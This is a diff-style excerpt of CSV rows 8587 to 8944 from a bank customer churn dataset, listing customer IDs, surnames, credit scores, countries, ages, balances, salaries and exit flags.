+8587,15694039,Jen,650,Germany,Female,46,9,149003.76,2,1,0,176902.83,0 +8588,15649457,Macleod,588,Germany,Male,41,2,131341.46,2,0,1,7034.94,0 +8589,15742809,Mironova,712,Spain,Female,29,7,77919.78,1,1,0,122547.58,0 +8590,15637829,Sharpe,691,France,Female,34,7,0,2,0,1,161559.12,0 +8591,15633194,Osborne,771,France,Female,41,10,108309,4,1,1,137510.41,1 +8592,15611635,Chu,678,Spain,Female,39,6,0,1,0,1,185366.56,0 +8593,15638774,Chong,719,Spain,Female,40,9,0,2,1,0,182224.14,0 +8594,15722037,Alvarez,610,Germany,Male,36,7,115462.02,1,0,1,42581.04,0 +8595,15672930,Palerma,722,Spain,Male,37,9,0,2,1,0,31921.95,0 +8596,15668774,Chiemenam,758,Germany,Female,23,5,122739.1,1,1,0,102460.84,1 +8597,15780966,Pritchard,709,France,Female,32,2,0,2,0,0,109681.29,0 +8598,15659694,Wallis,634,Germany,Female,53,3,113781.5,2,1,1,106345.05,1 +8599,15624424,Palerma,678,Spain,Female,49,1,0,2,1,1,102472.9,0 +8600,15708713,Hill,633,France,Male,35,3,0,2,1,1,36249.76,0 +8601,15755405,Hudson,710,France,Male,43,9,128284.45,1,1,0,32996.89,1 +8602,15647570,Chung,640,Germany,Male,45,8,120591.19,1,0,0,195123.94,0 +8603,15684348,Zhdanova,656,France,Male,63,8,0,2,0,1,57014.43,0 +8604,15702541,Fraser,551,France,Female,59,2,166968.28,1,1,0,159483.76,1 +8605,15646942,Meng,786,Spain,Female,39,7,0,2,0,0,100929.59,0 +8606,15748920,Cherkasova,561,France,Female,49,8,0,2,1,1,12513.07,0 +8607,15694581,Rawlings,807,Spain,Male,42,5,0,2,1,1,74900.9,0 +8608,15643215,Jen,602,Germany,Male,38,2,71667.97,2,0,0,137111.89,0 +8609,15649060,Chien,727,Germany,Female,31,3,82729.47,2,1,0,60212.51,0 +8610,15774258,Gorbunov,678,France,Male,40,1,0,2,1,1,187343.4,0 +8611,15731553,Lucas,730,France,Male,23,8,0,2,1,0,183284.53,0 +8612,15617029,Young,596,Spain,Female,30,1,0,2,1,0,8125.39,0 +8613,15780716,Colombo,686,Germany,Male,39,3,129626.19,2,1,1,103220.56,0 +8614,15577018,Tsao,684,Germany,Female,26,2,114035.39,1,0,0,96885.19,0 +8615,15809515,Lewis,797,Germany,Male,32,1,151922.94,1,1,0,8877.06,0 +8616,15789924,Hussain,658,France,Female,39,4,0,1,1,1,147530.06,0 +8617,15725076,Anderson,653,Spain,Female,27,6,107751.68,2,1,1,33389.42,0 +8618,15672481,Ulyanov,641,France,Male,37,6,0,2,1,0,45309.24,0 +8619,15574115,Shaw,656,Spain,Female,41,6,101179.23,2,1,1,35230.61,0 +8620,15661830,Lucciano,750,Spain,Female,36,6,0,2,1,1,59816.41,0 +8621,15665879,Gordon,768,France,Female,40,8,0,2,0,1,69080.46,0 +8622,15673820,Woodward,568,France,Male,33,7,0,2,1,0,143450.61,0 +8623,15747772,Cunningham,706,Germany,Male,36,9,58571.18,2,1,0,40774.01,0 +8624,15666197,Boni,430,Germany,Female,38,8,153058.64,1,1,0,99377.27,0 +8625,15773639,Truscott,745,Germany,Male,35,4,98270.34,1,1,0,133617.43,0 +8626,15581893,Ginikanwa,747,France,Male,43,1,130788.71,1,0,1,101495,1 +8627,15672447,Bailey,657,Germany,Male,40,7,99165.84,1,0,1,119333.95,1 +8628,15777830,Hutchinson,639,France,Female,42,4,0,2,0,0,167682.37,0 +8629,15713890,Maclean,704,France,Male,44,3,0,2,0,1,152884.85,0 +8630,15577598,Chiang,651,Spain,Male,23,4,115636.05,2,1,0,70400.86,0 +8631,15786042,Willmore,706,Germany,Female,44,2,185932.18,2,1,0,65413.41,0 +8632,15753462,Godson,632,Germany,Male,30,2,72549,2,0,1,182728.8,0 +8633,15759690,Smith,751,France,Male,42,4,0,2,1,1,81442.6,0 +8634,15801414,Bitter,767,France,Female,35,2,0,2,0,0,144251.38,0 +8635,15656141,Ts'ao,741,France,Male,39,5,0,1,0,1,40207.06,0 +8636,15608701,Chialuka,651,Germany,Male,29,3,121890.06,1,1,0,54530.51,1 +8637,15582892,Scott,601,France,Male,46,2,99786.07,1,1,1,32683.88,1 +8638,15632967,Feng,520,France,Male,34,3,0,2,1,1,104703.96,0 +8639,15587573,Castiglione,626,Germany,Male,27,4,115084.53,2,0,1,26907.43,0 +8640,15654891,He,811,France,Male,30,6,0,2,1,1,180591.32,0 +8641,15611365,Fanucci,730,France,Female,32,9,127661.69,1,0,0,60905.51,0 +8642,15749103,Ginikanwa,604,Germany,Female,47,4,118907.6,1,0,1,47777.15,1 +8643,15810203,Manning,499,Germany,Female,44,6,77627.33,2,1,0,108222.68,0 +8644,15813660,Forlonge,754,Spain,Male,40,2,160625.17,1,0,1,3554.63,0 +8645,15605673,Liang,716,Spain,Female,29,8,0,2,0,0,78616.92,0 +8646,15669282,Uchechukwu,636,France,Female,20,10,124266.86,1,0,0,100566.81,0 +8647,15792726,Sung,470,France,Female,25,8,127974.06,2,1,1,183259.35,0 +8648,15593241,Tochukwu,444,France,Male,43,3,0,2,1,1,159131.21,0 +8649,15683053,Reyna,809,Spain,Female,48,2,0,1,1,0,160976.85,1 +8650,15632736,Liang,850,Germany,Female,30,3,104911.35,2,1,1,42933.26,0 +8651,15731865,Unwin,637,France,Male,27,1,0,2,1,0,91291.2,0 +8652,15760450,Rutherford,512,France,Male,43,1,0,2,1,1,52471.36,0 +8653,15787204,Howe,774,Spain,Female,43,1,110646.54,1,0,0,108804.28,0 +8654,15650454,Tran,641,France,Male,57,5,0,2,1,1,122449.18,0 +8655,15573730,Thompson,586,Germany,Male,42,6,126704.49,2,1,0,41682.3,0 +8656,15705050,Linger,611,France,Male,30,9,0,2,1,1,148887.69,0 +8657,15791342,Johnston,660,Spain,Male,31,1,84560.04,1,1,1,137784.25,0 +8658,15684316,Udokamma,532,France,Male,43,9,0,2,0,0,190573.91,1 +8659,15700540,Barrera,557,Germany,Female,38,2,129893.56,1,0,0,102076.03,0 +8660,15770631,Sutherland,730,Spain,Male,25,5,167385.81,1,1,1,56307.51,0 +8661,15790594,Bednall,535,France,Female,27,6,0,2,0,1,49775.58,0 +8662,15604020,Otoole,773,Germany,Female,36,4,105858.71,1,0,1,4395.45,0 +8663,15637599,Cremonesi,510,Germany,Female,44,4,123070.89,1,1,0,28461.29,1 +8664,15736578,Hamilton,539,France,Male,39,1,0,1,1,1,28184.7,0 +8665,15666332,Donaldson,690,Spain,Female,48,2,0,2,1,1,3149.1,0 +8666,15727291,McKay,821,France,Female,40,1,0,2,1,0,194273.12,0 +8667,15785920,Black,687,Germany,Male,35,1,125141.24,2,1,1,148537.07,0 +8668,15658987,Kane,557,France,Female,46,4,96173.17,2,1,1,116378.31,0 +8669,15687719,She,532,Spain,Female,37,5,0,2,0,1,6761.84,0 +8670,15799641,Bruno,540,Spain,Male,39,2,0,2,1,0,81995.92,0 +8671,15758702,Watson,705,France,Female,55,8,0,2,1,1,14392.68,0 +8672,15689526,Shih,542,Germany,Female,35,9,127543.11,2,1,0,468.94,1 +8673,15586848,Rose,706,France,Male,38,1,0,2,1,0,122379.54,0 +8674,15707637,Zikoranachukwudimma,765,France,Female,56,1,0,1,1,0,13228.93,1 +8675,15719426,Cole,529,France,Male,67,8,103101.56,2,1,1,154002.02,1 +8676,15639265,Isaacs,714,France,Male,54,7,126113.28,1,1,0,112777.38,0 +8677,15576124,Muravyova,582,France,Male,41,1,40488.76,1,1,0,128528.83,0 +8678,15757829,Timperley,609,Germany,Female,40,10,137389.77,2,1,0,170122.22,0 +8679,15633227,Kenechukwu,518,France,Female,28,9,85146.36,1,0,0,2803.89,0 +8680,15753092,He,791,Germany,Male,35,5,129828.58,1,1,1,181918.26,1 +8681,15782939,Storey,747,France,Male,42,4,80214.36,1,1,0,115241.96,1 +8682,15746338,Onyekachukwu,565,France,Female,40,2,0,2,1,1,129956.13,0 +8683,15590676,Kharlamova,735,France,Male,34,1,141796.43,1,1,0,45858.49,0 +8684,15599329,Christopher,697,France,Female,49,7,195238.29,4,0,1,131083.56,1 +8685,15783097,Lombardo,813,Germany,Male,27,6,111348.15,1,1,0,46422.46,0 +8686,15597885,Kerr,772,France,Male,43,6,0,2,1,1,57675.88,0 +8687,15597467,Duncan,606,France,Female,71,8,0,2,1,1,169741.96,0 +8688,15724764,Lawley,667,Germany,Female,42,10,64404.26,2,0,0,26022.37,0 +8689,15778418,Burns,637,Germany,Male,40,9,154309.67,1,1,1,125334.16,1 +8690,15684769,Whitson,542,France,Male,67,10,129431.36,1,0,1,21343.74,0 +8691,15756167,Doyne,762,Spain,Female,43,5,134204.67,1,1,1,139971.01,0 +8692,15632439,Pinto,698,France,Female,39,4,0,2,0,1,47455.82,0 +8693,15755138,Chin,850,France,Female,32,8,0,2,1,1,55593.8,0 +8694,15659092,Davide,621,France,Female,50,5,0,2,1,0,191756.54,1 +8695,15742116,Torres,671,Germany,Female,48,9,116711.06,2,0,0,76373.38,0 +8696,15801994,Buccho,775,France,Male,31,9,0,2,1,0,169278.51,0 +8697,15647572,Greece,504,Spain,Male,34,0,54980.81,1,1,1,136909.88,0 +8698,15644551,Wimble,751,Spain,Female,37,3,99773.85,2,1,0,54865.92,0 +8699,15709135,Pirozzi,691,Germany,Male,30,7,101231.77,2,0,0,156529.44,0 +8700,15684469,Hsiung,841,Germany,Male,32,2,117070.21,1,1,0,113482.2,0 +8701,15627637,Obioma,709,Germany,Male,23,8,73314.04,2,1,0,63446.47,0 +8702,15667093,Onio,673,France,Male,37,2,0,1,1,1,13624.02,0 +8703,15690589,Udinesi,541,France,Male,37,9,212314.03,1,0,1,148814.54,0 +8704,15595350,Fermin,661,France,Female,31,3,136067.82,2,1,0,65567.91,0 +8705,15777586,Moss,784,Spain,Female,42,2,109052.04,2,1,0,6409.55,0 +8706,15804064,Docherty,742,France,Female,35,2,79126.17,1,1,1,126997.53,0 +8707,15717770,Marcelo,850,Spain,Female,55,7,0,1,0,0,171762.87,1 +8708,15754443,Fadden,443,France,Female,35,9,108308,1,1,0,129031.19,1 +8709,15776939,Zox,778,Germany,Female,48,3,102290.56,2,1,0,182691.31,0 +8710,15713517,Otitodilinna,529,France,Male,39,6,102025.08,2,1,0,12351.01,0 +8711,15683522,Kennedy,678,Germany,Female,37,2,113383.07,1,1,1,135123.96,0 +8712,15673995,Tu,516,Spain,Female,65,9,102541.1,1,1,0,181490.42,0 +8713,15771054,Barnes,469,Spain,Male,35,5,0,2,1,0,186490.37,0 +8714,15578788,Bibi,786,Spain,Male,40,6,0,2,0,0,41248.8,0 +8715,15737408,L?,703,France,Female,41,6,109941.51,1,1,0,116267.28,0 +8716,15750837,Landseer,579,Germany,Male,41,0,141749.68,1,0,1,9201.53,0 +8717,15576022,Nwachinemelu,565,France,Male,38,5,0,2,0,1,80630.32,0 +8718,15635502,Ch'iu,443,France,Male,44,2,0,1,1,0,159165.7,0 +8719,15627298,Vinogradova,589,France,Male,37,7,85146.48,2,1,0,86490.09,1 +8720,15811415,Jenks,691,France,Female,44,6,134066.1,2,1,1,197572.41,0 +8721,15645059,Crace,711,France,Female,28,8,0,2,0,0,105159.89,0 +8722,15689671,Packham,775,Spain,Male,27,4,0,1,1,1,40807.26,0 +8723,15718667,T'ien,621,France,Male,35,7,87619.29,1,1,0,143.34,0 +8724,15803202,Onyekachi,350,France,Male,51,10,0,1,1,1,125823.79,1 +8725,15593683,Solomina,668,Spain,Female,30,8,0,2,1,0,138465.7,0 +8726,15703394,Hawes,633,Spain,Male,27,3,0,2,1,0,44008.91,0 +8727,15570289,Benson,697,Germany,Male,43,8,103409.16,1,1,0,66893.28,1 +8728,15567437,Emenike,734,Germany,Female,30,7,123040.38,1,1,1,76503.06,0 +8729,15711687,Nero,434,France,Male,41,4,108128.52,1,0,1,56784.11,0 +8730,15656592,Toscano,646,Germany,Male,48,8,169023.33,2,1,1,175657.55,0 +8731,15634373,Yang,764,France,Male,30,5,0,2,0,1,105155.66,0 +8732,15769125,Palerma,727,Spain,Female,41,10,0,2,0,1,47468.56,0 +8733,15711386,Trentini,724,France,Female,29,6,0,2,0,1,64729.51,0 +8734,15714241,Haddon,749,Spain,Male,42,9,222267.63,1,0,0,101108.85,1 +8735,15642530,Coates,706,Germany,Female,47,10,144090.42,1,1,0,140938.95,1 +8736,15713599,Castiglione,728,France,Male,30,10,114835.43,1,0,1,37662.49,0 +8737,15744770,Stone,636,France,Male,44,2,0,2,0,0,86414.41,0 +8738,15780498,Maynard,634,France,Male,34,3,145030.92,1,1,1,41820.65,0 +8739,15624397,Moore,627,France,Male,43,8,71240.3,1,0,1,127734.16,0 +8740,15615219,Obielumani,518,France,Male,59,5,138772.15,1,0,1,123872,0 +8741,15570908,Harding,687,Spain,Female,29,7,93617.07,1,0,1,113050.92,0 +8742,15762855,Hill,622,Spain,Female,23,8,0,2,1,1,131389.39,0 +8743,15661827,Brown,693,Spain,Female,45,4,0,2,1,1,26589.56,0 +8744,15746035,Pagnotto,450,Spain,Male,25,9,74237.2,2,0,1,195463.35,0 +8745,15691906,Esposito,664,Germany,Female,49,5,127421.78,2,1,0,108876.75,1 +8746,15793424,Tan,663,Spain,Female,28,8,61274.7,2,1,0,136054.45,0 +8747,15577905,Hammond,660,France,Male,34,8,106486.66,2,0,1,182262.66,0 +8748,15667216,Chung,579,France,Female,29,10,73194.52,2,1,1,129209.09,0 +8749,15673971,Houghton,655,Germany,Female,44,6,146498.76,1,1,0,64853.51,1 +8750,15701238,Chia,683,France,Male,47,1,0,2,1,0,148989.15,0 +8751,15644849,Zikoranachidimma,655,France,Female,32,2,0,1,1,1,71047.51,0 +8752,15635531,Boag,575,Spain,Female,30,8,0,2,1,0,185341.63,0 +8753,15632263,Pagnotto,574,Spain,Male,30,5,120355,1,1,0,137793.35,0 +8754,15720110,Oluchukwu,795,France,Male,32,2,117265.21,1,1,1,198317.23,0 +8755,15619045,Baxter,776,France,Female,43,4,0,2,0,1,162137.5,0 +8756,15697510,Tien,707,Spain,Female,52,7,0,1,1,0,109688.82,1 +8757,15784923,Chimezie,705,Germany,Female,37,3,109974.22,1,1,1,36320.87,1 +8758,15567383,Slone,678,Germany,Female,44,2,98009.13,2,0,1,31384.86,0 +8759,15732621,Martin,663,France,Male,34,10,0,1,1,1,114083.73,0 +8760,15757981,Loggia,748,France,Male,66,8,0,1,1,1,163331.65,0 +8761,15727819,Hartley,677,Spain,Female,34,10,171671.9,1,1,1,50777.77,0 +8762,15738088,Parkin,634,Spain,Male,63,10,0,2,1,0,30772.86,1 +8763,15765173,Lin,350,France,Female,60,3,0,1,0,0,113796.15,1 +8764,15665159,Brooks,727,France,Male,61,0,128213.96,2,1,1,188729.08,1 +8765,15618203,Tien,773,Germany,Male,51,8,116197.65,2,1,1,86701.4,0 +8766,15791452,Dann,675,France,Male,39,1,0,2,1,0,153129.22,0 +8767,15638159,Trentino,649,Spain,Female,36,6,86607.39,1,0,0,19825.09,0 +8768,15585466,Russo,552,France,Male,29,10,0,2,1,0,12186.83,0 +8769,15677310,Christie,761,Germany,Male,62,5,98854.34,1,0,0,86920.97,1 +8770,15646262,Ross,622,France,Male,31,7,0,1,1,0,35408.77,0 +8771,15656901,Nnonso,615,France,Male,59,8,0,2,1,1,165576.55,0 +8772,15621093,Teng,681,Germany,Male,31,4,97338.19,2,0,0,48226.76,0 +8773,15592123,Buccho,768,France,Male,30,6,0,2,1,1,199454.37,0 +8774,15589200,Madukaife,617,Spain,Male,34,9,0,2,1,0,118749.58,0 +8775,15602934,Dunn,452,France,Female,33,6,131698.57,2,1,0,151623.91,0 +8776,15812720,Hooker,807,Germany,Male,37,10,130110.45,2,0,1,172097.95,0 +8777,15695383,Griffin,567,Spain,Male,44,9,0,2,1,0,87677.15,0 +8778,15723064,Kistler,603,Spain,Male,24,1,165149.13,2,1,0,21858.28,0 +8779,15761606,Law,617,Spain,Female,37,9,101707.8,1,1,0,123866.28,0 +8780,15650322,Grigoryeva,701,France,Female,34,3,105588.66,1,0,1,74694.41,0 +8781,15669782,Chu,820,Germany,Male,39,9,111336.89,1,1,0,16770.31,1 +8782,15751628,Onyemachukwu,438,France,Male,60,7,78391.17,1,0,1,49424.6,0 +8783,15809057,Lu,600,Spain,Female,27,6,0,2,1,1,172031.22,0 +8784,15617052,Watson,782,France,Male,34,9,0,1,1,0,183021.06,1 +8785,15590810,Fallaci,638,Germany,Female,41,9,144326.09,1,1,0,73979.85,1 +8786,15801293,Ni,850,Germany,Male,27,1,101278.25,2,1,1,26265.18,0 +8787,15770968,Leason,741,Germany,Female,19,8,108711.57,2,1,0,24857.25,0 +8788,15572356,Tsai,689,Spain,Male,73,1,108555.07,1,0,1,167969.15,0 +8789,15603247,Bruner,743,Germany,Female,35,1,146781.24,1,1,0,189307.7,0 +8790,15619116,Wallace,493,France,Female,36,2,0,2,0,1,99770.3,0 +8791,15691792,Young,416,Spain,Male,35,8,0,1,0,0,119712.78,0 +8792,15783276,Forbes,725,France,Female,25,9,0,2,1,1,168607.74,0 +8793,15766137,Muir,497,France,Male,34,2,0,2,1,1,83087.13,0 +8794,15574554,Pugh,537,Germany,Male,66,8,103291.25,2,1,1,130664.79,0 +8795,15578671,Webb,706,Spain,Female,29,1,209490.21,1,1,1,133267.69,1 +8796,15716608,Walker,651,Spain,Male,38,2,0,3,1,0,67029.82,1 +8797,15690670,Cox,720,France,Male,33,2,0,2,0,1,141031.08,0 +8798,15630466,Maclean,797,France,Male,45,8,0,1,0,0,125110.02,0 +8799,15630349,Hollis,543,Spain,Male,23,5,0,2,1,0,117832.39,0 +8800,15803801,Jamieson,454,France,Male,34,4,0,2,1,0,198817.72,0 +8801,15647890,Su,691,France,Male,37,9,149405.18,1,1,1,146411.6,0 +8802,15606115,P'eng,510,France,Female,52,6,191665.21,1,1,1,131312.56,1 +8803,15714642,Hawkins,792,Spain,Female,40,7,0,1,1,0,141652.2,0 +8804,15741181,Ndubuagha,721,France,Male,41,6,135071.12,1,1,1,64477.25,0 +8805,15773973,Hill,765,France,Male,41,2,0,2,0,1,191215.61,0 +8806,15758546,Norton,850,Spain,Male,39,8,0,2,1,1,37090.44,0 +8807,15598940,Achebe,681,Germany,Male,38,6,181804.34,2,1,1,57517.71,0 +8808,15669783,Simpson,586,France,Female,60,3,47020.65,2,0,1,63241.21,1 +8809,15624993,Chiang,753,France,Female,36,7,128518.98,1,1,1,44567.83,1 +8810,15760568,Dalrymple,593,Germany,Female,38,5,142658.04,2,0,1,135337.11,0 +8811,15699047,Chukwuemeka,674,France,Female,21,9,120150.39,2,1,1,33964.03,0 +8812,15616168,Ojiofor,610,France,Female,35,7,81905.95,1,1,1,61623.19,0 +8813,15773146,Rubeo,652,France,Male,26,3,137998.2,2,0,1,168989.77,0 +8814,15770375,Fanucci,850,Germany,Female,26,8,123126.29,1,1,0,74425.41,0 +8815,15589725,Zubarev,740,France,Female,51,4,0,2,1,1,178929.84,0 +8816,15710034,T'ao,637,Germany,Male,43,1,135645.29,2,0,1,101382.86,1 +8817,15800806,Pai,685,Spain,Male,31,7,122449.31,2,1,1,180769.55,0 +8818,15570485,Udegbunam,558,Spain,Male,40,4,161766.87,1,0,0,92378.54,0 +8819,15575391,Claypool,677,France,Female,37,3,0,2,1,1,38252.25,0 +8820,15790750,Manfrin,592,Germany,Male,36,10,123187.51,1,0,1,146111.35,0 +8821,15714832,Baker,652,Germany,Male,36,9,150956.71,1,0,0,72350.17,0 +8822,15619953,Efremov,662,Spain,Female,42,6,105021.28,1,1,0,48242.38,0 +8823,15673929,Chin,543,France,Male,64,4,0,2,1,1,148305.82,0 +8824,15578835,Brookes,675,Spain,Female,50,1,133204.91,1,0,1,8270.06,0 +8825,15752388,Doyle,643,Spain,Female,35,6,0,2,1,1,41549.64,0 +8826,15797081,Ajuluchukwu,611,Germany,Female,49,9,115488.52,2,1,1,138656.81,1 +8827,15570194,Ikemefuna,412,France,Male,29,5,0,2,0,0,12510.53,0 +8828,15580149,Fowler,638,Spain,Male,41,7,0,2,1,0,43889.41,0 +8829,15777708,Liao,824,Spain,Female,38,3,0,2,1,0,192800.25,0 +8830,15769955,Onuora,683,France,Female,40,1,0,2,0,0,75762,0 +8831,15810444,Aksenov,562,Germany,Female,39,6,130565.02,1,1,0,9854.72,1 +8832,15645593,Trevisani,599,France,Female,41,2,91328.71,1,1,0,115724.78,0 +8833,15765345,Wood,753,France,Male,35,4,0,2,1,1,106303.4,0 +8834,15760873,Lombardo,594,France,Male,50,7,81310.34,1,1,1,183868.01,0 +8835,15794178,Walpole,657,France,Male,34,3,107136.6,1,1,0,153895.46,0 +8836,15589361,Chikwendu,716,Spain,Male,34,9,0,1,1,1,66695.71,0 +8837,15662483,Ko,850,France,Male,43,7,0,2,1,1,173851.11,0 +8838,15809736,Steigrad,664,France,Male,46,2,0,1,1,1,177423.02,1 +8839,15731148,Isayeva,558,France,Male,33,0,108477.49,1,1,1,109096.71,1 +8840,15774328,Boni,606,Germany,Male,40,1,144757.97,2,1,1,166656.18,0 +8841,15646969,Anayolisa,776,Spain,Male,33,2,0,2,1,1,176921,0 +8842,15718769,Fallaci,557,Spain,Male,36,1,113110.26,1,1,0,98413.1,0 +8843,15610226,Fenton,614,France,Female,27,9,106414.57,2,0,0,77500.81,0 +8844,15616270,Chao,620,Spain,Male,42,4,106920.91,1,0,1,119747.08,0 +8845,15790717,Osinachi,695,Spain,Male,35,7,0,2,1,0,160387.98,0 +8846,15635703,Chu,729,Germany,Female,39,1,131513.26,1,1,1,193715,0 +8847,15616365,Obiuto,571,France,Female,53,2,0,2,1,0,28045.77,0 +8848,15630244,Chu,457,France,Male,40,10,134320.23,2,1,0,150757.35,0 +8849,15734714,Nash,559,France,Female,29,3,79715.36,1,1,0,82252.28,0 +8850,15721433,Hixson,664,France,Female,38,4,74306.19,2,1,0,154395.56,0 +8851,15590201,Fiorentini,500,Spain,Female,50,5,0,4,1,1,83866.35,1 +8852,15590828,Chidimma,782,Germany,Male,42,7,126428.38,1,1,0,39830.1,0 +8853,15752097,Chiazagomekpere,708,Spain,Male,38,8,99640.89,1,1,0,12429.22,0 +8854,15800031,Laura,681,France,Male,43,3,66338.68,1,1,1,18772.5,1 +8855,15630857,Wu,674,Spain,Female,39,6,0,2,1,1,9574.83,0 +8856,15689953,Toscani,697,Spain,Male,43,10,128226.37,1,0,0,188486.94,0 +8857,15759733,McMillan,774,France,Female,26,5,0,2,1,1,64716.08,0 +8858,15810826,Chiekwugo,624,France,Male,36,6,0,2,0,0,84749.96,0 +8859,15668009,Hendley,747,Spain,Male,37,1,0,2,0,1,180551.76,0 +8860,15743456,Birnie,715,France,Female,32,10,0,2,1,0,60907.49,0 +8861,15725762,Kemp,808,France,Male,24,4,122168.65,1,1,0,174107.04,0 +8862,15761713,Johnstone,678,France,Female,43,7,178074.33,1,0,0,110405.9,0 +8863,15769246,Lo Duca,813,Germany,Male,59,2,135078.41,1,1,0,187636.06,1 +8864,15781129,Montgomery,687,Spain,Male,38,8,69434.4,2,1,1,66580.13,1 +8865,15599124,Miller,832,France,Female,29,5,0,2,1,0,178779.52,0 +8866,15639004,Chiemezie,668,France,Male,72,2,0,2,1,1,70783.61,0 +8867,15810995,Wright,526,Germany,Male,34,3,122726.56,1,1,1,46772.36,0 +8868,15653773,Shaw,457,France,Female,38,7,164496.99,1,1,1,163327.27,0 +8869,15708357,Chapman,649,Spain,Female,38,8,0,1,1,0,103760.53,0 +8870,15733597,Y?an,669,France,Female,41,0,150219.41,2,0,0,107839.03,0 +8871,15789560,Clark,668,France,Male,42,8,187534.79,1,1,1,32900.41,1 +8872,15699524,Howells,466,France,Female,30,3,0,1,1,0,193984.6,0 +8873,15626475,Gamble,685,France,Male,30,2,0,2,1,1,140889.32,0 +8874,15810839,Rogers,610,France,Male,34,0,103108.17,1,0,0,125646.82,0 +8875,15684318,McMillan,582,Germany,Female,50,6,96486.57,2,1,1,20344.02,0 +8876,15768120,Brown,702,Germany,Male,36,9,90560.48,2,1,0,174268.87,0 +8877,15712807,Robertson,556,Spain,Male,46,3,131764.96,1,1,1,108500.66,1 +8878,15696371,Thomas,812,Spain,Female,24,1,92476.88,1,0,0,83247.14,0 +8879,15675794,Hsing,645,Germany,Male,47,9,152076.93,1,1,0,121840.2,1 +8880,15774277,Chiu,809,France,Male,43,2,0,2,1,1,132908.07,0 +8881,15603764,Chang,560,France,Male,49,4,0,1,1,1,100075.1,1 +8882,15618647,Kornilova,744,France,Male,29,1,43504.42,1,1,1,119327.75,0 +8883,15614643,Chifo,731,Spain,Female,39,2,0,2,1,0,136737.13,0 +8884,15707696,Lu,471,Spain,Female,28,5,0,2,1,1,22356.97,0 +8885,15749583,Bellucci,686,Germany,Female,38,2,93569.86,3,0,0,10137.34,1 +8886,15815125,Michael,668,Spain,Male,45,4,102486.21,2,1,1,158379.25,0 +8887,15779620,Sinclair,575,France,Male,36,1,0,1,0,1,94570.56,0 +8888,15768233,Chukwuebuka,435,Germany,Male,37,8,114346.3,1,0,1,980.93,1 +8889,15637788,Schmidt,743,France,Male,23,3,110203.77,1,1,0,95583.45,0 +8890,15777046,Parry,580,France,Female,39,9,128362.59,1,1,0,86044.98,0 +8891,15788723,McIntyre,599,Germany,Female,49,10,143888.22,2,1,1,166236.38,1 +8892,15790489,Lo Duca,534,Spain,Male,34,5,170600.78,1,0,1,5240.53,0 +8893,15739476,Ferrari,680,France,Female,32,5,0,1,1,1,150684.23,0 +8894,15612670,Berry,631,Spain,Female,46,10,0,2,1,1,129508.96,0 +8895,15631222,Cattaneo,485,France,Female,39,2,75339.64,1,1,1,70665.16,0 +8896,15658972,Foster,699,France,Female,40,8,122038.34,1,1,0,102085.35,0 +8897,15724691,Gordon,712,France,Male,34,1,0,2,1,1,195052.12,0 +8898,15740442,May,603,France,Male,51,8,186825.57,1,1,0,93739.71,1 +8899,15760427,Cameron,850,France,Male,40,6,124788.18,1,1,0,65612.12,0 +8900,15677939,Ch'eng,584,France,Female,41,3,0,2,1,1,160095.48,0 +8901,15611599,Curtis,604,France,Female,71,2,0,2,1,1,49506.82,0 +8902,15633474,Whitehead,586,France,Male,51,2,138553.57,1,1,1,92406.22,0 +8903,15671973,Chukwuemeka,467,Spain,Male,39,5,0,2,1,1,7415.96,0 +8904,15790019,Onwughara,520,France,Male,35,9,105387.89,1,1,1,25059.06,0 +8905,15737735,Grant,683,Spain,Male,40,4,95053.1,1,1,1,116816.54,1 +8906,15661745,Browne,557,France,Male,36,3,0,1,0,1,144078.02,0 +8907,15797065,Goloubev,613,Spain,Female,32,0,0,2,0,1,126675.62,0 +8908,15710671,Gordon,786,France,Male,34,3,137361.96,1,0,0,183682.09,0 +8909,15656522,Sutherland,593,Spain,Male,32,10,158537.42,1,1,0,166850.57,0 +8910,15705085,Quesada,670,Spain,Female,29,9,0,2,1,0,27359.19,0 +8911,15744873,Wright,657,Germany,Female,48,5,143595.87,1,0,0,101314.65,1 +8912,15781914,Simmons,718,Germany,Male,32,9,169947.41,2,1,1,27979.16,0 +8913,15637354,Yobachukwu,623,France,Female,24,7,148167.83,2,1,1,109470.34,0 +8914,15717307,Read,496,France,Male,31,5,0,2,1,0,93713.13,0 +8915,15746695,Wunder,429,France,Female,39,6,48023.83,1,1,0,74870.99,0 +8916,15804962,Nnaife,606,France,Male,36,1,155655.46,1,1,1,192387.51,1 +8917,15665378,Shen,499,France,Female,46,6,0,2,1,0,73457.55,0 +8918,15757865,Powell,642,France,Male,62,7,0,2,1,1,61120.75,0 +8919,15578787,Goddard,641,France,Female,52,4,0,1,1,0,90964.54,1 +8920,15794323,Buckley,673,France,Male,32,8,121240.76,1,1,0,116969.73,0 +8921,15697546,McIntyre,570,France,Female,36,3,0,2,1,0,92118.75,0 +8922,15629519,Yen,472,France,Female,37,1,0,2,1,1,48357.9,0 +8923,15624703,Okonkwo,550,Germany,Male,35,9,129847.75,2,1,0,197325.4,0 +8924,15570002,Burlingame,625,Germany,Female,55,8,118772.71,4,0,0,135853.62,1 +8925,15808566,Hs?,516,France,Male,46,2,0,2,1,1,169122.54,0 +8926,15805463,Board,682,Germany,Male,32,2,105163.88,2,1,1,164170.46,0 +8927,15709136,Adams,620,France,Male,28,8,0,2,1,1,199909.32,0 +8928,15801605,Rizzo,626,France,Female,39,0,0,2,1,1,83295.09,0 +8929,15567855,Chukwufumnanya,623,France,Female,29,1,0,2,0,0,39382.06,0 +8930,15675141,Fraser,569,France,Female,35,4,93934.63,1,1,0,184748.23,0 +8931,15665759,Russell,724,France,Female,69,5,117866.92,1,1,1,62280.91,0 +8932,15761487,Yefimova,678,France,Female,55,5,0,1,0,1,196794.11,1 +8933,15700394,Palermo,713,Spain,Female,26,4,122857.46,2,1,0,144682.17,1 +8934,15631162,Bergamaschi,631,France,Male,32,10,0,2,0,1,196342.66,0 +8935,15630641,Shao,846,France,Female,37,6,127103.97,1,1,1,41516.44,0 +8936,15585066,Chimaraoke,660,France,Female,43,1,0,1,0,1,112026.1,1 +8937,15722991,McGregor,567,France,Male,54,9,96402.96,1,0,0,52035.29,1 +8938,15737404,Kesteven,731,France,Male,31,1,132512.26,1,1,1,185466.85,0 +8939,15722409,Ritchie,693,Spain,Male,47,8,107604.66,1,1,1,80149.27,0 +8940,15806420,Jenks,772,France,Male,34,9,0,2,1,0,170980.86,0 +8941,15658148,Udokamma,657,France,Male,38,7,0,2,1,0,185827.74,0 +8942,15810660,Boyle,774,Germany,Male,34,4,120875.23,2,0,1,113407.26,0 +8943,15709780,Azuka,667,France,Female,37,9,71786.9,2,1,1,67734.79,0 +8944,15727350,Pai,516,France,Female,37,8,113143.12,1,0,0,3363.36,0 